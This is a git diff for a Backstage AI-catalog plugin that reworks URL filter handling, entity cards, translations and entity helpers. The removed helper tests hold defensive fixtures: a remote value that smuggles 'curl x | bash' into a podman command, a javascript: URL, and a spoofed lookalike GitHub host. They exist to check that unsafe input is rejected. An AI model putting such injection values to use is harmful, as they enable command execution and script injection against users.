'../utils/categoryMeta'; -import { getSpecField } from '../utils/entityHelpers'; +import { getCategoryMeta } from '../utils/categoryMeta'; +import { getProvider, getSpecField } from '../utils/entityHelpers'; function uniqueSorted( items: (string | undefined)[], @@ -41,11 +41,23 @@ function matchesCaseInsensitive( return selected.some(s => s.toLowerCase() === lower); } +function visibleCategoryOptions(entities: Entity[]) { + const types = new Set(); + for (const entity of entities) { + const type = getSpecField(entity, 'type'); + if (type) types.add(type.toLowerCase()); + } + + return Array.from(types) + .sort((a, b) => a.localeCompare(b)) + .map(id => ({ id, label: getCategoryMeta(id).label })); +} + export const categoryFilterDefinition: FilterDefinition = { urlParam: 'type', label: 'Type', labelKey: 'catalog.filter.type', - getOptions: (_entities: Entity[]) => getAllCategories(), + getOptions: visibleCategoryOptions, matchEntity: (entity: Entity, values: string[]) => matchesCaseInsensitive(getSpecField(entity, 'type'), values), priority: 100, @@ -55,15 +67,9 @@ export const providerFilterDefinition: FilterDefinition = { urlParam: 'provider', label: 'Provider', labelKey: 'catalog.filter.provider', - getOptions: (entities: Entity[]) => - uniqueSorted( - entities.map(e => e.metadata.annotations?.['rhdh.io/ai-asset-source']), - ), + getOptions: (entities: Entity[]) => uniqueSorted(entities.map(getProvider)), matchEntity: (entity: Entity, values: string[]) => - matchesCaseInsensitive( - entity.metadata.annotations?.['rhdh.io/ai-asset-source'], - values, - ), + matchesCaseInsensitive(getProvider(entity), values), priority: 200, }; diff --git a/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.test.ts b/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.test.ts index b34336a73e2..0f37b4c3359 100644 --- a/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.test.ts +++ b/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.test.ts @@ -14,9 +14,9 @@ * limitations under the License. */ -import { renderHook, act } from '@testing-library/react'; +import { renderHook, act, waitFor } from '@testing-library/react'; import { type ReactNode, createElement } from 'react'; -import { MemoryRouter } from 'react-router-dom'; +import { MemoryRouter, useLocation, useNavigationType } from 'react-router-dom'; import { useUrlFilters } from './useUrlFilters'; @@ -25,6 +25,27 @@ function wrapper(initialUrl = '/') { createElement(MemoryRouter, { initialEntries: [initialUrl] }, children); } +function wrapperWithLocation(initialUrl: string) { + let currentSearch = ''; + let currentNavigationType = ''; + const LocationProbe = () => { + currentSearch = useLocation().search; + currentNavigationType = useNavigationType(); + return null; + }; + return { + wrapper: ({ children }: { children: ReactNode }) => + createElement( + MemoryRouter, + { initialEntries: [initialUrl] }, + createElement(LocationProbe), + children, + ), + getSearch: () => currentSearch, + getNavigationType: () => currentNavigationType, + }; +} + describe('useUrlFilters', () => { it('reads filter values from URL params', () => { const { result } = renderHook(() => useUrlFilters(['type', 'owner']), { @@ -53,6 +74,37 @@ describe('useUrlFilters', () => { expect(result.current.filterValues.has('view')).toBe(false); }); + it('keeps filter values stable when unrelated URL state changes', () => { + const { result } = renderHook(() => useUrlFilters(['type']), { + wrapper: wrapper('/?type=skill&page=2'), + }); + const initialFilterValues = result.current.filterValues; + + act(() => result.current.setPage(3)); + expect(result.current.filterValues).toBe(initialFilterValues); + + act(() => result.current.setViewMode('table')); + expect(result.current.filterValues).toBe(initialFilterValues); + }); + + it('updates filter values when dynamic filter names change', () => { + const { result, rerender } = renderHook( + ({ filterParams }: { filterParams: string[] }) => + useUrlFilters(filterParams), + { + initialProps: { filterParams: ['type'] }, + wrapper: wrapper('/?type=skill&owner=skill'), + }, + ); + + expect(result.current.filterValues.get('type')).toEqual(['skill']); + + rerender({ filterParams: ['owner'] }); + + expect(result.current.filterValues.has('type')).toBe(false); + expect(result.current.filterValues.get('owner')).toEqual(['skill']); + }); + it('returns empty map when no filter params are in URL', () => { const { result } = renderHook(() => useUrlFilters(['type', 'owner']), { wrapper: wrapper('/'), @@ -131,11 +183,60 @@ describe('useUrlFilters', () => { expect(result.current.pageSize).toBe(50); }); - it('clamps pageSize between 1 and 100', () => { + it.each([10, 20, 50])('accepts page size %d', pageSize => { const { result } = renderHook(() => useUrlFilters([]), { - wrapper: wrapper('/?pageSize=999'), + wrapper: wrapper(`/?pageSize=${pageSize}`), }); - expect(result.current.pageSize).toBe(100); + expect(result.current.pageSize).toBe(pageSize); + }); + + it.each(['999', '25', '-1', 'not-a-number'])( + 'defaults invalid pageSize %s to 20 and removes it from the URL', + async invalidPageSize => { + const route = wrapperWithLocation(`/?pageSize=${invalidPageSize}`); + const { result } = renderHook(() => useUrlFilters([]), { + wrapper: route.wrapper, + }); + + expect(result.current.pageSize).toBe(20); + await waitFor(() => expect(route.getSearch()).toBe('')); + }, + ); + + it.each(['cards', 'TABLE', 'unknown'])( + 'defaults invalid view %s to grid and removes it from the URL', + async invalidView => { + const route = wrapperWithLocation(`/?view=${invalidView}`); + const { result } = renderHook(() => useUrlFilters([]), { + wrapper: route.wrapper, + }); + + expect(result.current.viewMode).toBe('grid'); + await waitFor(() => expect(route.getSearch()).toBe('')); + }, + ); + + it.each(['-1', '1.5', 'bad'])( + 'defaults invalid page %s to zero and removes it from the URL', + async invalidPage => { + const route = wrapperWithLocation(`/?page=${invalidPage}`); + const { result } = renderHook(() => useUrlFilters([]), { + wrapper: route.wrapper, + }); + + expect(result.current.page).toBe(0); + await waitFor(() => expect(route.getSearch()).toBe('')); + }, + ); + + it('preserves unrelated query parameters when repairing URL state', async () => { + const route = wrapperWithLocation( + '/?q=agent&view=invalid&pageSize=25&keep=me', + ); + renderHook(() => useUrlFilters([]), { wrapper: route.wrapper }); + + await waitFor(() => expect(route.getSearch()).toBe('?q=agent&keep=me')); + expect(route.getNavigationType()).toBe('REPLACE'); }); }); diff --git a/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.ts b/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.ts index 0ee86d5c042..5b97963c95f 100644 --- a/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.ts +++ b/workspaces/boost/plugins/boost/src/hooks/useUrlFilters.ts @@ -32,7 +32,7 @@ export interface UrlFilterActions { setSearch: (value: string) => void; setFilter: (urlParam: string, values: string[]) => void; setViewMode: (mode: ViewMode) => void; - setPage: (page: number) => void; + setPage: (page: number, options?: { replace?: boolean }) => void; setPageSize: (size: number) => void; clearFilters: () => void; } @@ -42,7 +42,40 @@ function readArray(params: URLSearchParams, key: string): string[] { return val ? val.split(',').filter(Boolean) : []; } +function buildFilterKey( + filterParams: string[], + searchParams: URLSearchParams, +): string { + const filterSnapshot = new URLSearchParams(); + for (const param of filterParams) { + filterSnapshot.set(param, searchParams.get(param) ?? ''); + } + return filterSnapshot.toString(); +} + +function readFilterValues(filterKey: string): Map { + const filterSnapshot = new URLSearchParams(filterKey); + const values = new Map(); + + for (const [param] of filterSnapshot) { + const selected = readArray(filterSnapshot, param); + if (selected.length > 0) { + values.set(param, selected); + } + } + + return values; +} + const SEARCH_DEBOUNCE_MS = 300; +const DEFAULT_PAGE_SIZE = 20; +const ALLOWED_PAGE_SIZES = new Set([10, 20, 50]); + +function parseNonNegativeInteger(value: string | null): number | undefined { + if (value === null || !/^\d+$/.test(value)) return undefined; + const parsed = Number(value); + return Number.isSafeInteger(parsed) ? parsed : undefined; +} /** * Synchronizes filter, search, pagination, and view mode state @@ -55,30 +88,44 @@ export function useUrlFilters( const [searchParams, setSearchParams] = useSearchParams(); const rawSearch = searchParams.get('q') ?? ''; - const viewMode = (searchParams.get('view') as ViewMode) || 'grid'; - const page = Math.max(0, parseInt(searchParams.get('page') ?? '0', 10) || 0); - const pageSize = Math.min( - 100, - Math.max(1, parseInt(searchParams.get('pageSize') ?? '20', 10) || 20), - ); + const rawView = searchParams.get('view'); + const viewMode: ViewMode = rawView === 'table' ? 'table' : 'grid'; + const rawPage = searchParams.get('page'); + const parsedPage = parseNonNegativeInteger(rawPage); + const page = parsedPage ?? 0; + const rawPageSize = searchParams.get('pageSize'); + const parsedPageSize = parseNonNegativeInteger(rawPageSize); + const pageSize = + parsedPageSize !== undefined && ALLOWED_PAGE_SIZES.has(parsedPageSize) + ? parsedPageSize + : DEFAULT_PAGE_SIZE; - // Derived key that changes only when filter-relevant URL params change, - // not on pagination or view mode changes. - const filterKey = filterParams.map(p => searchParams.get(p) ?? '').join('\0'); + const invalidView = + rawView !== null && rawView !== 'grid' && rawView !== 'table'; + const invalidPage = rawPage !== null && parsedPage === undefined; + const invalidPageSize = + rawPageSize !== null && + (parsedPageSize === undefined || !ALLOWED_PAGE_SIZES.has(parsedPageSize)); - const filterValues = useMemo(() => { - const map = new Map(); - for (const param of filterParams) { - const vals = readArray(searchParams, param); - if (vals.length > 0) { - map.set(param, vals); - } - } - return map; - // searchParams and filterParams are used inside the memo but intentionally excluded from deps. - // filterKey is derived from searchParams and filterParams, it stays stable when unrelated params change. - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [filterKey]); + useEffect(() => { + if (!invalidView && !invalidPage && !invalidPageSize) return; + setSearchParams( + prev => { + const next = new URLSearchParams(prev); + if (invalidView) next.delete('view'); + if (invalidPage) next.delete('page'); + if (invalidPageSize) next.delete('pageSize'); + return next; + }, + { replace: true }, + ); + }, [invalidPage, invalidPageSize, invalidView, setSearchParams]); + + // Keep filterValues stable when unrelated URL state changes. Include both + // names and values so changing the dynamic filter set cannot reuse a stale + // map when two filters happen to have the same selected value. + const filterKey = buildFilterKey(filterParams, searchParams); + const filterValues = useMemo(() => readFilterValues(filterKey), [filterKey]); const [searchInputValue, setSearchInputValue] = useState(rawSearch); const [debouncedSearch, setDebouncedSearch] = useState(rawSearch); @@ -150,16 +197,19 @@ export function useUrlFilters( ); const setPage = useCallback( - (p: number) => { - setSearchParams(prev => { - const next = new URLSearchParams(prev); - if (p === 0) { - next.delete('page'); - } else { - next.set('page', String(p)); - } - return next; - }); + (p: number, options?: { replace?: boolean }) => { + setSearchParams( + prev => { + const next = new URLSearchParams(prev); + if (p <= 0) { + next.delete('page'); + } else { + next.set('page', String(p)); + } + return next; + }, + { replace: options?.replace }, + ); }, [setSearchParams], ); diff --git a/workspaces/boost/plugins/boost/src/plugin.tsx b/workspaces/boost/plugins/boost/src/plugin.tsx index 79972fbf85f..b2a23df2214 100644 --- a/workspaces/boost/plugins/boost/src/plugin.tsx +++ b/workspaces/boost/plugins/boost/src/plugin.tsx @@ -20,11 +20,9 @@ import { createFrontendPlugin, PageBlueprint, } from '@backstage/frontend-plugin-api'; +import type { Entity } from '@backstage/catalog-model'; import { TranslationBlueprint } from '@backstage/plugin-app-react'; -import { - EntityCardBlueprint, - EntityContentBlueprint, -} from '@backstage/plugin-catalog-react/alpha'; +import { EntityCardBlueprint } from '@backstage/plugin-catalog-react/alpha'; import { isAiAsset } from '@red-hat-developer-hub/backstage-plugin-boost-common'; import { @@ -39,6 +37,10 @@ import { } from './filters/builtInFilterDefinitions'; import { rootRouteRef } from './routes'; import { boostTranslations } from './translations'; +import { getSpecField } from './utils/entityHelpers'; + +const isAgentAsset = (entity: Entity) => + isAiAsset(entity) && getSpecField(entity, 'type')?.toLowerCase() === 'agent'; // --------------------------------------------------------------------------- // Built-in filter extensions @@ -96,52 +98,38 @@ const aiCatalogPage = PageBlueprint.makeWithOverrides({ }); // --------------------------------------------------------------------------- -// Entity Card Blueprints — stubs with isAiAsset filter +// Entity card extensions — AI asset entity overview cards // --------------------------------------------------------------------------- -const summaryCard = EntityCardBlueprint.make({ - name: 'summary', +const assetDetailsCard = EntityCardBlueprint.make({ + name: 'ai-asset-details', params: { filter: isAiAsset, loader: () => - import('./components/catalog/entity/SummaryCard').then(m => ( - + import('./components/catalog/entity/AssetDetailsCard').then(m => ( + )), }, }); -const adoptionCard = EntityCardBlueprint.make({ - name: 'adoption', +const agentInstructionsCard = EntityCardBlueprint.make({ + name: 'agent-instructions', params: { - filter: isAiAsset, + filter: isAgentAsset, loader: () => - import('./components/catalog/entity/AdoptionCard').then(m => ( - + import('./components/catalog/entity/AgentInstructionsCard').then(m => ( + )), }, }); -const versionListCard = EntityCardBlueprint.make({ - name: 'version-list', - params: { - filter: isAiAsset, - loader: () => - import('./components/catalog/entity/VersionListCard').then(m => ( - - )), - }, -}); - -// --------------------------------------------------------------------------- -// Entity Content Blueprint — Usage tab (RBAC-gated) with isAiAsset filter -// --------------------------------------------------------------------------- -const usageTab = EntityContentBlueprint.make({ +const usageCard = EntityCardBlueprint.make({ name: 'usage', params: { - path: '/usage', - title: 'Usage', filter: isAiAsset, loader: () => - import('./components/catalog/entity/UsageTab').then(m => ), + import('./components/catalog/entity/UsageCard').then(m => ( + + )), }, }); @@ -169,10 +157,9 @@ export const boostPlugin = createFrontendPlugin({ providerFilter, ownerFilter, tagsFilter, - summaryCard, - adoptionCard, - versionListCard, - usageTab, + assetDetailsCard, + agentInstructionsCard, + usageCard, ], routes: { root: rootRouteRef, diff --git a/workspaces/boost/plugins/boost/src/translations/ref.ts b/workspaces/boost/plugins/boost/src/translations/ref.ts index a6e6d77f725..9976be7b369 100644 --- a/workspaces/boost/plugins/boost/src/translations/ref.ts +++ b/workspaces/boost/plugins/boost/src/translations/ref.ts @@ -20,34 +20,58 @@ export const boostMessages = { catalog: { page: { title: 'AI Catalog', - subtitle: - 'Browse, search, filter, and download AI skills, agents, and rules from your organization', }, toolbar: { allPrefix: 'All', search: 'Search', viewGrid: 'Card view', viewTable: 'Table view', + filters: 'Filters', }, filter: { + title: 'Filters', + all: 'All', type: 'Type', provider: 'Provider', owner: 'Owner', tag: 'Tag', + clearAll: 'Clear all', }, card: { - summaryTitle: 'Summary', - adoptionTitle: 'Get Started', - versionTitle: 'Versions', - versionCurrent: 'current', + assetDetailsTitle: 'AI asset details', + usageTitle: 'Usage', + versionLabel: 'Version', copyCommand: 'Copy', copied: 'Copied', - copyAriaLabel: 'Copy command to clipboard', - adoptionDownloadZip: 'Download ZIP', + copyFailed: 'Copy failed. Try again.', + usageDownloadZip: 'Download ZIP', + usageViewSource: 'View source', + serverTypeLabel: 'Server type', + apiKeyLabel: 'API key required', + defaultModelLabel: 'Default model', + rationaleLabel: 'Rationale', + disciplinesLabel: 'Disciplines', + categoriesLabel: 'Categories', + relatedAgentsLabel: 'Related agents', + ruleCategoryLabel: 'Rule category', + toolsLabel: 'Tools', + remotesLabel: 'Remote endpoints', + definitionLabel: 'Definition', + viewDefinition: 'View definition', + modelsTitle: 'Models', + modelsAvailableSuffix: 'available', modelsAvailableTitle: 'Available Models', - instructionsTitle: 'Instructions', - handoffDescriptionTitle: 'Handoff Description', + modelTitle: 'Model', + viewModels: 'View models', + modelsDialogTitle: 'Available models', + modelSearch: 'Search models', + noModelsMatch: 'No models match your search.', + instructionsTitle: 'Agent instructions', + handoffDescriptionTitle: 'Handoff description', + handoffTargetsTitle: 'Handoff targets', ragEnabledLabel: 'RAG Enabled', + yes: 'Yes', + no: 'No', }, table: { name: 'Name', @@ -56,17 +80,6 @@ export const boostMessages = { provider: 'Provider', description: 'Description', }, - tab: { - usageTitle: 'Usage', - usageDocumentation: 'Documentation', - usageViewTechDocs: 'View TechDocs', - usageExternalLinks: 'External Links', - usageNoDocumentation: - 'No usage documentation available. Contact the owner for access.', - usagePermissionDenied: - 'You do not have permission to view usage documentation for this asset.', - usageContactOwner: 'Contact owner', - }, empty: { title: 'No AI assets available', description: diff --git a/workspaces/boost/plugins/boost/src/utils/categoryMeta.test.ts b/workspaces/boost/plugins/boost/src/utils/categoryMeta.test.ts index 34fe470ec75..1b64ef9e4b7 100644 --- a/workspaces/boost/plugins/boost/src/utils/categoryMeta.test.ts +++ b/workspaces/boost/plugins/boost/src/utils/categoryMeta.test.ts @@ -16,7 +16,7 @@ import { RiBrainLine, RiMagicLine } from '@remixicon/react'; -import { getAllCategories, getCategoryMeta } from './categoryMeta'; +import { getCategoryMeta } from './categoryMeta'; describe('getCategoryMeta', () => { it('returns Skills metadata for skill', () => { @@ -34,17 +34,3 @@ describe('getCategoryMeta', () => { expect(getCategoryMeta('not-a-category').icon).toBe(RiBrainLine); }); }); - -describe('getAllCategories', () => { - it('returns every known category id and label', () => { - const categories = getAllCategories(); - expect(categories).toEqual( - expect.arrayContaining([ - { id: 'skill', label: 'Skills' }, - { id: 'agent', label: 'Agents' }, - { id: 'mcp-server', label: 'MCP Servers' }, - ]), - ); - expect(categories).toHaveLength(7); - }); -}); diff --git a/workspaces/boost/plugins/boost/src/utils/categoryMeta.ts b/workspaces/boost/plugins/boost/src/utils/categoryMeta.ts index 093f0e673c0..9d97e962f3c 100644 --- a/workspaces/boost/plugins/boost/src/utils/categoryMeta.ts +++ b/workspaces/boost/plugins/boost/src/utils/categoryMeta.ts @@ -79,10 +79,3 @@ export function getCategoryMeta(specType: string | undefined): CategoryMeta { if (!specType) return fallbackMeta; return categoryMetaMap[specType.toLowerCase()] ?? fallbackMeta; } - -export function getAllCategories(): { id: string; label: string }[] { - return Object.entries(categoryMetaMap).map(([id, meta]) => ({ - id, - label: meta.label, - })); -} diff --git a/workspaces/boost/plugins/boost/src/utils/entityHelpers.test.ts b/workspaces/boost/plugins/boost/src/utils/entityHelpers.test.ts index 8f123303050..e23e4e2be4c 100644 --- a/workspaces/boost/plugins/boost/src/utils/entityHelpers.test.ts +++ b/workspaces/boost/plugins/boost/src/utils/entityHelpers.test.ts @@ -20,33 +20,39 @@ import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; import { applyEntityFilters, entityRefHref, - getAdoptionAction, + getAgentModel, + getDistinctSpecField, + getHandoffRefs, + getModelsAvailable, + getProvider, + getSpecRemotes, + getSpecField, + getStringArraySpecField, } from './entityHelpers'; -function entity(overrides: { - name?: string; - specType?: string; - annotations?: Record; - location?: { type?: string; target?: string }; - remotes?: Array<{ url?: string; type?: string }>; -}): Entity { - return { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: overrides.name ?? 'test-entity', - namespace: 'default', - annotations: overrides.annotations, - }, - spec: { - type: overrides.specType, - lifecycle: 'production', - owner: 'team-test', - location: overrides.location, - remotes: overrides.remotes, - }, - } as Entity; -} +const skill: Entity = { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { + name: 'code-review', + namespace: 'default', + description: 'Automated code review skill', + tags: ['security'], + }, + spec: { type: 'skill', lifecycle: 'production', owner: 'team-ai' }, +}; + +const agent: Entity = { + apiVersion: 'backstage.io/v1alpha1', + kind: 'AiResource', + metadata: { + name: 'dev-assistant', + namespace: 'default', + description: 'AI developer assistant', + tags: ['agent'], + }, + spec: { type: 'agent', lifecycle: 'experimental', owner: 'team-ml' }, +}; describe('entityRefHref', () => { it('builds a group catalog URL from a bare owner name', () => { @@ -72,296 +78,126 @@ describe('entityRefHref', () => { }); }); -describe('getAdoptionAction', () => { - it('returns npx copy command for skill entities', () => { - const action = getAdoptionAction( - entity({ name: 'my-skill', specType: 'skill' }), - ); - expect(action).toEqual({ type: 'copy', value: 'npx skills add my-skill' }); - }); - - it('returns podman pull command for the first oci:// remote', () => { - const action = getAdoptionAction( - entity({ - specType: 'ai-tool', - remotes: [ - { url: 'https://not-oci.example.com', type: 'other' }, - { url: 'oci://registry.example.com/models/foo:latest', type: 'oci' }, - ], - }), - ); - expect(action).toEqual({ - type: 'copy', - value: 'podman pull oci://registry.example.com/models/foo:latest', - }); - }); - - it('falls through to git-sourced action when the ai-asset-source annotation is oci but no oci:// remote exists (finding #1 regression)', () => { - const action = getAdoptionAction( - entity({ - specType: 'ai-tool', - annotations: { 'rhdh.io/ai-asset-source': 'oci' }, - location: { - type: 'git', - target: 'https://github.com/example/some-model', +describe('entity metadata accessors', () => { + it('reads the provider facet from the source annotation', () => { + const entity: Entity = { + ...skill, + metadata: { + ...skill.metadata, + annotations: { 'rhdh.io/ai-asset-source': 'ogx' }, + }, + }; + + expect(getProvider(entity)).toBe('ogx'); + }); + + it('reads the typed agent model', () => { + const entity: Entity = { + ...agent, + spec: { + ...agent.spec, + model: 'typed-model', + }, + }; + + expect(getAgentModel(entity)).toBe('typed-model'); + expect(getAgentModel({ ...entity, spec: agent.spec })).toBeUndefined(); + }); + + it('ignores non-string spec values', () => { + expect( + getSpecField( + { + ...skill, + spec: { type: 'skill', enabled: true, count: 2 }, }, - }), - ); - expect(action?.type).toBe('link'); - expect(action?.value).toBe( - 'https://api.github.com/repos/example/some-model/zipball', - ); - }); - - it('falls through to MCP-remote action when the ai-asset-source annotation is oci but no oci:// remote exists', () => { - const action = getAdoptionAction( - entity({ - specType: 'mcp-server', - annotations: { 'rhdh.io/ai-asset-source': 'oci' }, - remotes: [ - { url: 'https://mcp.example.com/server', type: 'streamable-http' }, - ], - }), - ); - expect(action).toEqual({ - type: 'copy', - value: 'https://mcp.example.com/server', - }); - }); - - it('resolves a branch-agnostic GitHub zipball URL for github.com targets', () => { - const action = getAdoptionAction( - entity({ - specType: 'rule', - location: { - type: 'git', - target: 'https://github.com/example/some-rule', + 'enabled', + ), + ).toBeUndefined(); + expect(getSpecField({ ...skill, spec: undefined }, 'type')).toBeUndefined(); + }); + + it('returns spec text only when it differs from the description', () => { + expect( + getDistinctSpecField( + { ...skill, spec: { ...skill.spec, instructions: 'Use the skill.' } }, + 'instructions', + ), + ).toBe('Use the skill.'); + expect( + getDistinctSpecField( + { + ...skill, + spec: { ...skill.spec, instructions: skill.metadata.description }, }, - }), - ); - expect(action).toEqual({ - type: 'link', - value: 'https://api.github.com/repos/example/some-rule/zipball', - }); - }); - - it('resolves a best-effort main-branch archive URL for gitlab.com targets', () => { - const action = getAdoptionAction( - entity({ - specType: 'rule', - location: { - type: 'git', - target: 'https://gitlab.com/example/some-rule', - }, - }), - ); - expect(action).toEqual({ - type: 'link', - value: - 'https://gitlab.com/example/some-rule/-/archive/main/some-rule-main.zip', - }); - }); - - it('does not treat a spoofed lookalike host as a git host (finding #3 regression)', () => { - const action = getAdoptionAction( - entity({ - specType: 'rule', - location: { - type: 'git', - target: 'https://evil.github.com.attacker.com/example/some-rule', + 'instructions', + ), + ).toBeUndefined(); + }); + + it('returns unique string model names from the model list', () => { + expect( + getModelsAvailable({ + ...skill, + spec: { + type: 'ai-model-server', + models: { available: ['model-a', 42, 'model-a', null, 'model-b'] }, }, }), - ); - expect(action).toBeUndefined(); - }); - - it('does not treat a malformed URL as a git host', () => { - const action = getAdoptionAction( - entity({ - specType: 'rule', - location: { type: 'git', target: 'not-a-valid-url' }, - }), - ); - expect(action).toBeUndefined(); - }); - - it('selects the remote explicitly typed streamable-http over an earlier non-matching remote (finding #6 regression)', () => { - const action = getAdoptionAction( - entity({ - specType: 'mcp-server', - remotes: [ - { url: 'https://docs.example.com/mcp-server', type: 'docs' }, - { url: 'https://mcp.example.com/server', type: 'streamable-http' }, - ], - }), - ); - expect(action).toEqual({ - type: 'copy', - value: 'https://mcp.example.com/server', - }); - }); - - it('falls back to the first remote with a url when no remote is typed streamable-http', () => { - const action = getAdoptionAction( - entity({ - specType: 'mcp-server', - remotes: [{ url: 'https://mcp.example.com/server', type: 'other' }], - }), - ); - expect(action).toEqual({ - type: 'copy', - value: 'https://mcp.example.com/server', - }); - }); - - it('matches specType case-insensitively (e.g. Skill)', () => { - const action = getAdoptionAction( - entity({ name: 'my-skill', specType: 'Skill' }), - ); - expect(action).toEqual({ type: 'copy', value: 'npx skills add my-skill' }); - }); - - it('matches mcp-server specType case-insensitively', () => { - const action = getAdoptionAction( - entity({ - specType: 'MCP-Server', - remotes: [ - { url: 'https://mcp.example.com/server', type: 'streamable-http' }, - ], - }), - ); - expect(action).toEqual({ - type: 'copy', - value: 'https://mcp.example.com/server', - }); - }); - - it('does not resolve git-sourced action when location.type is not git', () => { - const action = getAdoptionAction( - entity({ - specType: 'rule', - location: { - type: 'url', - target: 'https://github.com/example/some-rule', + ).toEqual(['model-a', 'model-b']); + }); + + it('returns unique non-empty handoff references', () => { + expect( + getHandoffRefs({ + ...agent, + spec: { + ...agent.spec, + handoffs: [ + 'airesource:default/legal', + ' ', + 'airesource:default/legal', + 42, + ' airesource:default/support ', + ], }, }), - ); - expect(action).toBeUndefined(); - }); - - it('returns undefined when no actionable metadata is present', () => { - const action = getAdoptionAction(entity({ specType: 'ai-tool' })); - expect(action).toBeUndefined(); - }); - - it('rejects an oci:// remote containing shell metacharacters (clipboard injection regression)', () => { - const action = getAdoptionAction( - entity({ - specType: 'ai-tool', - remotes: [{ url: 'oci://evil; curl x | bash', type: 'oci' }], - }), - ); - expect(action).toBeUndefined(); - }); - - it('skips an unsafe oci:// remote and resolves the next valid one', () => { - const action = getAdoptionAction( - entity({ - specType: 'ai-tool', - remotes: [ - { url: 'oci://evil; curl x | bash', type: 'oci' }, - { url: 'oci://registry.example.com/models/foo:latest', type: 'oci' }, - ], - }), - ); - expect(action).toEqual({ - type: 'copy', - value: 'podman pull oci://registry.example.com/models/foo:latest', - }); + ).toEqual(['airesource:default/legal', 'airesource:default/support']); }); - it('accepts an oci:// reference with a registry port and tag', () => { - const action = getAdoptionAction( - entity({ - specType: 'ai-tool', - remotes: [ - { - url: 'oci://registry.example.com:5000/models/foo:latest', - type: 'oci', + it('returns unique string values from list-valued spec fields', () => { + expect( + getStringArraySpecField( + { + ...skill, + spec: { + ...skill.spec, + categories: ['security', 'security', '', 42, ' quality '], }, - ], - }), - ); - expect(action).toEqual({ - type: 'copy', - value: 'podman pull oci://registry.example.com:5000/models/foo:latest', - }); - }); - - it('does not guess a wrong owner/repo for a GitHub subpage URL (archive URL parsing regression)', () => { - const target = 'https://github.com/example/repo/tree/main'; - const action = getAdoptionAction( - entity({ - specType: 'rule', - location: { type: 'git', target }, - }), - ); - expect(action).toEqual({ type: 'link', value: target }); - }); - - it('rejects an MCP remote URL with a non-http(s) scheme', () => { - const scriptUrl = ['java', 'script:alert(1)'].join(''); - const action = getAdoptionAction( - entity({ - specType: 'mcp-server', - remotes: [{ url: scriptUrl, type: 'streamable-http' }], - }), - ); - expect(action).toBeUndefined(); - }); - - it('skips a non-http(s) MCP remote and resolves the next valid streamable-http one', () => { - const scriptUrl = ['java', 'script:alert(1)'].join(''); - const action = getAdoptionAction( - entity({ - specType: 'mcp-server', - remotes: [ - { url: scriptUrl, type: 'other' }, - { url: 'https://mcp.example.com/server', type: 'streamable-http' }, - ], + }, + 'categories', + ), + ).toEqual(['security', 'quality']); + }); + + it('returns valid remote entries and ignores malformed values', () => { + expect( + getSpecRemotes({ + ...skill, + spec: { + ...skill.spec, + remotes: [ + { url: 'https://mcp.example.com', type: 'streamable-http' }, + { url: ' ' }, + { type: 'missing-url' }, + 'invalid', + ], + }, }), - ); - expect(action).toEqual({ - type: 'copy', - value: 'https://mcp.example.com/server', - }); + ).toEqual([{ url: 'https://mcp.example.com', type: 'streamable-http' }]); }); }); -const skill: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'code-review', - namespace: 'default', - description: 'Automated code review skill', - tags: ['security'], - }, - spec: { type: 'skill', lifecycle: 'production', owner: 'team-ai' }, -}; - -const agent: Entity = { - apiVersion: 'backstage.io/v1alpha1', - kind: 'AiResource', - metadata: { - name: 'dev-assistant', - namespace: 'default', - description: 'AI developer assistant', - tags: ['agent'], - }, - spec: { type: 'agent', lifecycle: 'experimental', owner: 'team-ml' }, -}; - const entities = [skill, agent]; const typeFilter: FilterDefinition = { diff --git a/workspaces/boost/plugins/boost/src/utils/entityHelpers.ts b/workspaces/boost/plugins/boost/src/utils/entityHelpers.ts index 4b7243dd343..eee41ff7417 100644 --- a/workspaces/boost/plugins/boost/src/utils/entityHelpers.ts +++ b/workspaces/boost/plugins/boost/src/utils/entityHelpers.ts @@ -20,10 +20,18 @@ import { parseEntityRef } from '@backstage/catalog-model'; import type { FilterDefinition } from '../blueprints/AiCatalogFilterBlueprint'; import { getCategoryMeta } from './categoryMeta'; +const AI_ASSET_SOURCE_ANNOTATION = 'rhdh.io/ai-asset-source'; + function catalogHref(kind: string, namespace: string, name: string): string { return `/catalog/${namespace}/${kind.toLowerCase()}/${name}`; } +function getSpecObject(entity: Entity): Record | undefined { + return typeof entity.spec === 'object' && entity.spec !== null + ? (entity.spec as Record) + : undefined; +} + export function entityHref(entity: Entity): string { const namespace = entity.metadata.namespace ?? 'default'; return catalogHref(entity.kind, namespace, entity.metadata.name); @@ -36,8 +44,8 @@ export function entityHref(entity: Entity): string { * kind `group` in the `default` namespace, matching common Backstage * conventions for `spec.owner`. * - * Returns `undefined` when `ref` is not a valid entity ref, so callers - * (the Usage tab denied fallback) can omit the link instead of throwing. + * Returns `undefined` when `ref` is not a valid entity ref, so callers can + * omit the link instead of throwing. */ export function entityRefHref(ref: string): string | undefined { try { @@ -55,9 +63,94 @@ export function getSpecField( entity: Entity, field: string, ): string | undefined { - return (entity.spec as Record | undefined)?.[field] as - | string - | undefined; + const value = getSpecObject(entity)?.[field]; + return typeof value === 'string' ? value : undefined; +} + +/** Returns a spec string when it adds information beyond the entity description. */ +export function getDistinctSpecField( + entity: Entity, + field: string, +): string | undefined { + const value = getSpecField(entity, field); + const description = entity.metadata.description ?? ''; + return value && value.trim() !== description.trim() ? value : undefined; +} + +function getUniqueStrings(value: unknown): string[] { + if (!Array.isArray(value)) return []; + + return Array.from( + new Set( + value.flatMap(item => { + if (typeof item !== 'string' || item.trim().length === 0) return []; + return [item.trim()]; + }), + ), + ); +} + +/** Returns unique, non-empty string values from a list-valued spec field. */ +export function getStringArraySpecField( + entity: Entity, + field: string, +): string[] { + return getUniqueStrings(getSpecObject(entity)?.[field]); +} + +export interface EntityRemote { + url: string; + type?: string; +} + +/** Returns valid remote entries from an entity's spec.remotes field. */ +export function getSpecRemotes(entity: Entity): EntityRemote[] { + const value = getSpecObject(entity)?.remotes; + if (!Array.isArray(value)) return []; + + return 